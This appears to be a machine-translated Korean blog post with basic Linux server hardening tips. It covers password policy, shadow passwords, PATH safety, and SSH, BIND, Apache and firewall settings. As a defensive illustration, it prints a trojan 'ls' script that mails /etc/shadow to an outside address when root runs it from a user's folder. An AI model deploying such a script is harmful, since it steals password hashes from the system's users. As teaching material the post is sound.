Linux (서버)를위한 보안 팁 (1 부)

나는 오랫동안 블로그에 아무것도 게시하지 않았으며 (다른 것들 중에서) 책에서 가져온 몇 가지 조언을 여러분과 공유하고 싶습니다. 나는 대학에서 그것을 발견했고 나는 방금 읽었고 솔직히 약간 구식이고 시스템의 진화를 고려할 때 표시된 기술이 작동하지 않을 것 같지만 보여줄 수있는 흥미로운 측면이기도합니다. 9788448140502

데스크톱 사용자 수준에서는 적용 할 수는 있지만 그다지 유용하지 않기 때문에 중간 규모 또는 대규모 규모에서 서버로 사용되는 Linux 시스템에 대한 조언임을 명확히하고 싶습니다.

나는 또한 그것들이 간단한 빠른 팁이라는 것을 알고 있으며, 특정 주제에 대해 훨씬 더 구체적이고 광범위한 게시물을 작성할 계획이지만 자세히 설명하지는 않겠습니다. 하지만 나중에 보겠습니다. 시작하자.

비밀번호 정책. 

캐치 프레이즈처럼 들리지만 좋은 암호 정책을 사용하면 취약한 시스템을 구별 할 수 있습니다. "brute force"와 같은 공격은 시스템에 액세스하기 위해 잘못된 암호를 사용합니다. 가장 일반적인 팁은 다음과 같습니다.

  • 대문자와 소문자를 결합하십시오.
  • 특수 문자를 사용하십시오.
  • 번호.
  • 6 자리 이상 (8 자리 이상).

이 외에도 두 가지 필수 파일을 고려해 보겠습니다.  / etc / passwd 및 / etc / shadow.

매우 중요한 것은 파일이 / etc / passwd. 사용자 이름, 그의 uid, 폴더 경로, bash 등을 제공하는 것 외에도. 어떤 경우에는 사용자의 암호화 된 키도 표시됩니다.

 전형적인 구성을 살펴 보겠습니다.

desdelinux:FXWUuZ.vwXttg:500:501::/home/usuario1:/bin/bash

사용자 : cryptkey : uid : gid : 경로 :: 경로 : bash

여기서 진짜 문제는이 특정 파일에 권한이 있다는 것입니다. -rw-r – r– 이는 시스템의 모든 사용자에 대한 읽기 권한이 있음을 의미합니다. 암호화 된 키를 갖는 것은 실제 키를 해독하는 것이 그리 어렵지 않습니다.

그게 파일이 존재하는 이유입니다 / etc / 그림자. 이 파일은 무엇보다도 모든 사용자 키가 저장되는 파일입니다. 이 파일에는 사용자가 읽을 수 없도록 필요한 권한이 있습니다.

이 문제를 해결하려면 파일로 이동해야합니다. / etc / passwd 암호화 된 키를 "x"로 변경하면 키가 파일에만 저장됩니다. / etc / 그림자.

desdelinux:x:500:501::/home/usuario1:/bin/bash

PATH 및 .bashrc 및 기타 문제.

사용자가 콘솔에서 명령을 실행하면 쉘은 PATH 환경 변수에 포함 된 디렉토리 목록에서 해당 명령을 찾습니다.

콘솔에 "echo $ PATH"를 입력하면 다음과 같이 출력됩니다.

.:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games:/home/carlos/bin

이러한 각 폴더는 쉘이이를 실행하기 위해 작성된 명령을 찾는 곳입니다. 그 "." 이는 찾을 첫 번째 폴더가 명령이 실행 된 폴더와 동일 함을 의미합니다.

사용자 "Carlos"가 있고이 사용자가 "악을 행하기"를 원한다고 가정합니다. 이 사용자는 자신의 기본 폴더에 "ls"라는 파일을 남겨두고이 파일에서 다음과 같은 명령을 실행할 수 있습니다.

#!/bin/bash
cat /etc/shadow | mail hacker@mail.com
/bin/ls

그리고 대상에 대한 루트 사용자가 carlos 폴더 내의 폴더를 나열하려고 시도하는 경우 (처음에 동일한 폴더에서 명령을 찾을 때 실수로 암호가있는 파일을이 전자 메일로 보낸 다음 폴더로 보내는 것입니다.) 그리고 그는 아주 늦게까지 알지 못할 것입니다.

이를 방지하려면 "."를 제거해야합니다. PATH 변수의.

같은 방법으로 /.bashrc, /.bashrc_profile, ./.login과 같은 파일을 감사하고 "."가 없는지 확인해야합니다. PATH 변수와 실제로 이와 같은 파일에서 특정 명령의 대상을 변경할 수 있습니다.

서비스 관련 팁 :

SHH

  • sshd_config 파일에서 ssh 프로토콜의 버전 1을 비활성화합니다.
  • 루트 사용자가 ssh로 로그인하는 것을 허용하지 마십시오.
  • ssh_host_key, ssh_host_dsa_key 및 ssh_host_rsa_key 파일 및 폴더는 루트 사용자 만 읽어야합니다.

묶다

  • named.conf 파일의 환영 메시지를 변경하여 버전 번호를 표시하지 않도록합니다.
  • 영역 전송을 제한하고 필요한 팀에 대해서만 활성화하십시오.

아파치

  • 서비스가 환영 메시지에 버전을 표시하지 않도록합니다. httpd.conf 파일을 편집하고 다음 행을 추가하거나 수정하십시오.  

ServerSignature Off
ServerTokens Prod

  • 자동 인덱싱 비활성화
  • .htacces, * .inc, * .jsp .. 등과 같은 민감한 파일을 제공하지 않도록 Apache 구성
  • 서비스에서 매뉴얼 페이지 또는 샘플 제거
  • chrooted 환경에서 Apache 실행

네트워크 보안.

외부 네트워크에서 시스템으로 들어갈 수있는 모든 입구를 가리는 것이 중요합니다. 여기에는 침입자가 네트워크에서 정보를 검색하고 얻는 것을 방지하기위한 몇 가지 필수 팁이 있습니다.

ICMP 트래픽 차단

방화벽은 모든 유형의 수신 및 발신 ICMP 트래픽과 에코 응답을 차단하도록 구성되어야합니다. 이를 통해 예를 들어 IP 범위에서 라이브 장비를 찾는 스캐너가 사용자를 찾는 것을 방지 할 수 있습니다. 

TCP ping 스캔을 피하십시오.

시스템을 스캔하는 한 가지 방법은 TCP ping 스캔입니다. 서버에 포트 80에 Apache 서버가 있다고 가정합니다. 침입자는 해당 포트에 ACK 요청을 보낼 수 있습니다.이 경우 시스템이 응답하면 컴퓨터가 살아 있고 나머지 포트를 스캔합니다.

이를 위해 방화벽은 항상 "상태 인식"옵션을 가져야하며 이미 설정된 TCP 연결 또는 세션에 해당하지 않는 모든 ACK 패킷을 삭제해야합니다.

몇 가지 추가 팁 :

  • IDS 시스템을 사용하여 네트워크에 대한 포트 스캔을 감지하십시오.
  • 연결 소스 포트 설정을 신뢰하지 않도록 방화벽을 구성하십시오.

이는 일부 검색에서 20 또는 53과 같은 "가짜"소스 포트를 사용하기 때문입니다. 많은 시스템이 이러한 포트가 일반적으로 ftp 또는 DNS이기 때문에 신뢰하기 때문입니다.

참고 : 이 게시물에 표시된 대부분의 문제는 거의 모든 현재 배포판에서 이미 해결되었습니다. 그러나 이러한 문제가 발생하지 않도록 이러한 문제에 대한 핵심 정보를 갖는 것은 결코 아프지 않습니다.

참고 : 나중에 특정 주제를보고 훨씬 더 자세한 최신 정보로 게시물을 작성할 것입니다.

독서를 위해 모든 사람을 탁.

인사말.


코멘트를 남겨주세요

귀하의 이메일 주소는 공개되지 않습니다. 필수 필드가 표시되어 있습니다 *

*

*

  1. 데이터 책임자 : Miguel Ángel Gatón
  2. 데이터의 목적 : 스팸 제어, 댓글 관리.
  3. 합법성 : 귀하의 동의
  4. 데이터 전달 : 법적 의무에 의한 경우를 제외하고 데이터는 제 XNUMX 자에게 전달되지 않습니다.
  5. 데이터 저장소 : Occentus Networks (EU)에서 호스팅하는 데이터베이스
  6. 권리 : 귀하는 언제든지 귀하의 정보를 제한, 복구 및 삭제할 수 있습니다.

  1.   컴퓨터

    나는 기사를 정말 좋아했고 주제에 관심이 있습니다. 계속해서 콘텐츠를 업로드하는 것이 좋습니다.